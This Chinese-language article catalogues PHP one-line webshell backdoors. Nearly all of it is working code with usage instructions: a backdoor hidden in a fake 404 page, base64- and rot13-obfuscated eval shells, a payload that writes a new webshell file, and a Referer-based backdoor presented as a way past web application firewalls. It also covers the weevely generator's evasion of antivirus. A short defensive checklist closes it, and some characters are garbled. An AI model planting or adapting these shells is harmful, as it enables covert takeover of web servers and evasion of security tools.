那些強(qiáng)悍的PHP一句話后門(mén)
我們以一個(gè)學(xué)習(xí)的心態(tài)來(lái)對(duì)待這些PHP后門(mén)程序,很多PHP后門(mén)代碼讓我們看到程序員們是多么的用心良苦。
強(qiáng)悍的PHP一句話后門(mén)
這類(lèi)后門(mén)讓網(wǎng)站、服務(wù)器管理員很是頭疼,經(jīng)常要換著方法進(jìn)行各種檢測(cè),而很多新出現(xiàn)的編寫(xiě)技術(shù),用普通的檢測(cè)方法是沒(méi)法發(fā)現(xiàn)并處理的。今天我們細(xì)數(shù)一些有意思的PHP一句話木馬。
利用404頁(yè)面隱藏PHP小馬:
- <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
- <html><head>
- <title>404 Not Found</title>
- </head><body>
- <h1>Not Found</h1>
- <p>The requested URL was not found on this server.</p>
- </body></html>
- <?php
- @preg_replace("/[pageerror]/e",$_POST['error'],"saft");
- header('HTTP/1.1 404 Not Found');
- ?>
404頁(yè)面是網(wǎng)站常用的文件,一般建議好后很少有人會(huì)去對(duì)它進(jìn)行檢查修改,這時(shí)我們可以利用這一點(diǎn)進(jìn)行隱藏后門(mén)。
無(wú)特征隱藏PHP一句話:
- <?php
- session_start();
- $_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
- $_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');
將$_POST['code']的內(nèi)容賦值給$_SESSION['theCode'],然后執(zhí)行$_SESSION['theCode'],亮點(diǎn)是沒(méi)有特征碼。用掃描工具來(lái)檢查代碼的話,是不會(huì)報(bào)警的,達(dá)到目的了。
超級(jí)隱蔽的PHP后門(mén):
- <?php $_GET[a]($_GET[b]);?>
僅用GET函數(shù)就構(gòu)成了木馬;
利用方法:
- ?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};
執(zhí)行后當(dāng)前目錄生成c.php一句話木馬,當(dāng)傳參a為eval時(shí)會(huì)報(bào)錯(cuò)木馬生成失敗,為assert時(shí)同樣報(bào)錯(cuò),但會(huì)生成木馬,真可謂不可小視,簡(jiǎn)簡(jiǎn)單單的一句話,被延伸到這般應(yīng)用。
層級(jí)請(qǐng)求,編碼運(yùn)行PHP后門(mén):
此方法用兩個(gè)文件實(shí)現(xiàn),文件1
- <?php
- //1.php
- header('Content-type:text/html;charset=utf-8');
- parse_str($_SERVER['HTTP_REFERER'], $a);
- if(reset($a) == '10' && count($a) == 9) {
- eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6)))));
- }
文件2
- <?php
- //2.php
- header('Content-type:text/html;charset=utf-8');
- //要執(zhí)行的代碼
- $code = <<<CODE
- phpinfo();
- CODE;
- //進(jìn)行base64編碼
- $code = base64_encode($code);
- //構(gòu)造referer字符串
- $referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=";
- //后門(mén)url
- $url = 'http://localhost/test1/1.php';
- $ch = curl_init();
- $options = array(
- CURLOPT_URL => $url,
- CURLOPT_HEADER => FALSE,
- CURLOPT_RETURNTRANSFER => TRUE,
- CURLOPT_REFERER => $referer
- );
- curl_setopt_array($ch, $options);
- echo curl_exec($ch);
通過(guò)HTTP請(qǐng)求中的HTTP_REFERER來(lái)運(yùn)行經(jīng)過(guò)base64編碼的代碼,來(lái)達(dá)到后門(mén)的效果,一般waf對(duì)referer這些檢測(cè)要松一點(diǎn),或者沒(méi)有檢測(cè)。用這個(gè)思路bypass waf不錯(cuò)。#p#
PHP后門(mén)生成工具weevely
weevely是一款針對(duì)PHP的webshell的自由軟件,可用于模擬一個(gè)類(lèi)似于telnet的連接shell,weevely通常用于web程序的漏洞利用,隱藏后門(mén)或者使用類(lèi)似telnet的方式來(lái)代替web 頁(yè)面式的管理,weevely生成的服務(wù)器端php代碼是經(jīng)過(guò)了base64編碼的,所以可以騙過(guò)主流的殺毒軟件和IDS,上傳服務(wù)器端代碼后通常可以通過(guò)weevely直接運(yùn)行。
weevely所生成的PHP后門(mén)所使用的方法是現(xiàn)在比較主流的base64加密結(jié)合字符串變形技術(shù),后門(mén)中所使用的函數(shù)均是常用的字符串處理函數(shù),被作為檢查規(guī)則的eval,system等函數(shù)都不會(huì)直接出現(xiàn)在代碼中,從而可以致使后門(mén)文件繞過(guò)后門(mén)查找工具的檢查。使用暗組的Web后門(mén)查殺工具進(jìn)行掃描,結(jié)果顯示該文件無(wú)任何威脅。
以上是大概介紹下邊是截圖,相關(guān)使用方法亦家就不在這介紹了,簡(jiǎn)單的科普一下。
#p#
三個(gè)變形的一句話PHP木馬
第一個(gè)
- <?php ($_=@$_GET[2]).@$_($_POST[1])?>
在菜單里寫(xiě)http://site/1.php?2=assert密碼是1
第二個(gè)
- <?php
- $_="";
- $_[+""]='';
- $_="$_"."";
- $_=($_[+""]|"").($_[+""]|"").($_[+""]^"");
- ?>
- <?php ${'_'.$_}['_'](${'_'.$_}['__']);?>
在菜刀里寫(xiě)http://site/2.php?_=assert&__=eval($_POST['pass']) 密碼是pass。如果你用菜刀的附加數(shù)據(jù)的話更隱蔽,或者用其它注射工具也可以,因?yàn)槭莗ost提交的。
第三個(gè)
- ($b4dboy = $_POST['b4dboy']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add');
str_rot13(‘riny’)即編碼后的eval,完全避開(kāi)了關(guān)鍵字,又不失效果,讓人吐血!
最后列幾個(gè)高級(jí)的PHP一句話木馬后門(mén):
- 1、
- $hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
- $hh("/[discuz]/e",$_POST['h'],"Access");
- //菜刀一句話
- 2、
- $filename=$_GET['xbid'];
- include ($filename);
- //危險(xiǎn)的include函數(shù),直接編譯任何文件為php格式運(yùn)行
- 3、
- $reg="c"."o"."p"."y";
- $reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);
- //重命名任何文件
- 4、
- $gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
- $gzid("/[discuz]/e",$_POST['h'],"Access");
- //菜刀一句話
- 5、include ($uid);
- //危險(xiǎn)的include函數(shù),直接編譯任何文件為php格式運(yùn)行,POST www.xxx.com/index.php?uid=/home/www/bbs/image.gif
- //gif插一句話
- 6、典型一句話
- 程序后門(mén)代碼
- <?php eval_r($_POST[sb])?>
- 程序代碼
- <?php @eval_r($_POST[sb])?>
- //容錯(cuò)代碼
- 程序代碼
- <?php assert($_POST[sb]);?>
- //使用lanker一句話客戶(hù)端的專(zhuān)家模式執(zhí)行相關(guān)的php語(yǔ)句
- 程序代碼
- <?$_POST['sa']($_POST['sb']);?>
- 程序代碼
- <?$_POST['sa']($_POST['sb'],$_POST['sc'])?>
- 程序代碼
- <?php
- @preg_replace("/[email]/e",$_POST['h'],"error");
- ?>
- //使用這個(gè)后,使用菜刀一句話客戶(hù)端在配置連接的時(shí)候在"配置"一欄輸入
- 程序代碼
- <O>h=@eval_r($_POST1);</O>
- 程序代碼
- <script language="php">@eval_r($_POST[sb])</script>
- //繞過(guò)<?限制的一句話
綜上,這些PHP一句話后門(mén)可謂五臟俱全,一不小心您肯定中招了,而我們今天這篇文章的重中之重在哪呢?重點(diǎn)就在下邊的總結(jié)!
如何應(yīng)對(duì)PHP一句話后門(mén):
我們強(qiáng)調(diào)幾個(gè)關(guān)鍵點(diǎn),看這文章的你相信不是門(mén)外漢,我也就不啰嗦了:
1,對(duì)PHP程序編寫(xiě)要有安全意識(shí)
2,服務(wù)器日志文件要經(jīng)???,經(jīng)常備份
3,對(duì)每個(gè)站點(diǎn)進(jìn)行嚴(yán)格的權(quán)限分配
4,對(duì)動(dòng)態(tài)文件及目錄經(jīng)常批量安全審查
5,學(xué)會(huì)如何進(jìn)行手工殺毒《即行為判斷查殺》
6,時(shí)刻關(guān)注,或滲入活躍的網(wǎng)絡(luò)安全營(yíng)地
7,對(duì)服務(wù)器環(huán)境層級(jí)化處理,哪怕一個(gè)函數(shù)也可做規(guī)則
我們認(rèn)為當(dāng)管理的站點(diǎn)多了,數(shù)據(jù)量大時(shí),我們應(yīng)合理應(yīng)用一些輔助工具,但不應(yīng)完全依賴(lài)這些工具,技術(shù)是時(shí)刻在更新進(jìn)步的,最為重要的是你應(yīng)學(xué)會(huì)和理解,編寫(xiě)這些強(qiáng)悍后門(mén)的人所處思維,角色上的換位可為你帶來(lái)更大的進(jìn)步。